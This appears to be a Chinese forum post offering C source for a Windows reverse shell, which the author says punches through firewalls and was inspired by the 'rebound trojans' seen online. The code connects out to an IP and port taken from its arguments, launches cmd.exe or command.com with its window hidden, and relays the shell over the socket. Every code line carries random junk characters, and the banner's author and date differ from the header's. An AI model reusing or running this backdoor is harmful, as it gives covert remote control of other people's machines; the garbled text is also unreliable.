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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bGB5]%v,  
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/* ============================== z}7U>y6`  
Rebound port in Windows NT E `%*lGu_  
By wind,2006/7 LQ"xm  
===============================*/ H.2aoZ-w  
#include l W Lj==  
#include (*!4O>]  
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#pragma comment(lib,"wsock32.lib") t@`Sa<  
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void OutputShell(); KVpQ,x&q~  
SOCKET sClient; Mg u=cm )  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |c,'0V,"cH  
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void main(int argc,char **argv) r9^~I  
{ &+pp;1ls  
WSADATA stWsaData; NbhQ-  
int nRet; I{u+=0^Y  
SOCKADDR_IN stSaiClient,stSaiServer; i$'#7U  
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if(argc != 3) d1d:5 b  
{ kmsgaB7?  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8PW3x-+  
return; (R{z3[/u&  
} e= _7Q.cn  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9 J~KM=p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 95  X6V  
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stSaiClient.sin_family = AF_INET; brt` oR  
stSaiClient.sin_port = htons(0); ebB8.(k9G3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0J9Ub   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =xHzhh  
{ 7C^W<SUo  
printf("Bind Socket Failed!\n"); xo(3<1mD  
return; #TY[\$BHs  
} d0 yZ9-t  
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stSaiServer.sin_family = AF_INET; .^?Z3iA",  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1`EkN0iZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fmk(}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) * n>YS  
{ BQ77 n2(@  
printf("Connect Error!"); tumYZ)nW  
return; i.>d#S  
} >]l7AZ:,  
OutputShell(); Gv }~  
} <o&\/uO~H  
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void OutputShell()  Wwo`R5  
{ uF\f>E)/N%  
char szBuff[1024]; $T}Dn[.  
SECURITY_ATTRIBUTES stSecurityAttributes; % KmhR2v  
OSVERSIONINFO stOsversionInfo; {DGnh1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *[wj )  
STARTUPINFO stStartupInfo; ,[ M^rv  
char *szShell; e5.sqft  
PROCESS_INFORMATION stProcessInformation; FKu^{'Y6E0  
unsigned long lBytesRead; /hbdQm  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o^& nkR  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tY $4k26  
stSecurityAttributes.lpSecurityDescriptor = 0; }h_= n>  
stSecurityAttributes.bInheritHandle = TRUE; LDq(WPI1#  
nM&UdKf3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bmGtYv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GxcW^{;  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A LnE[}N6,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E,:E u<  
stStartupInfo.wShowWindow = SW_HIDE; "+KAYsVtU  
stStartupInfo.hStdInput = hReadPipe; /s~&$(d59o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c9N5c  
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GetVersionEx(&stOsversionInfo); !mRDzr7  
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switch(stOsversionInfo.dwPlatformId) XYsU)(;j  
{ ! V;glx[  
case 1: >>HC|  
szShell = "command.com"; cu$i8$?t   
break; $79-)4;z4  
default: t:.ZvA3  
szShell = "cmd.exe"; bR;Wf5  
break; AwO'%+Bv  
} ,Taq~  
?{*/VJl$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .LHzaeJCX  
(J/!9NS:  
send(sClient,szMsg,77,0); 9$:+5f,%a  
while(1) 7[u$!.4{*  
{ Stxrgmu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H?<c eK'e  
if(lBytesRead) "f<+~  
{ j*}2AI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "jG-)k`a  
send(sClient,szBuff,lBytesRead,0); ,}_uk]AQ  
}  $>y   
else /N82h`\n  
{ 0I@Cx {$  
lBytesRead=recv(sClient,szBuff,1024,0); 9J'3b <  
if(lBytesRead<=0) break; GLIP;)h1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sOLR*=F{  
} &24z`ZS[w6  
} @s/0 .7  
hz_F^gF  
return; v"a.%" oN8  
}
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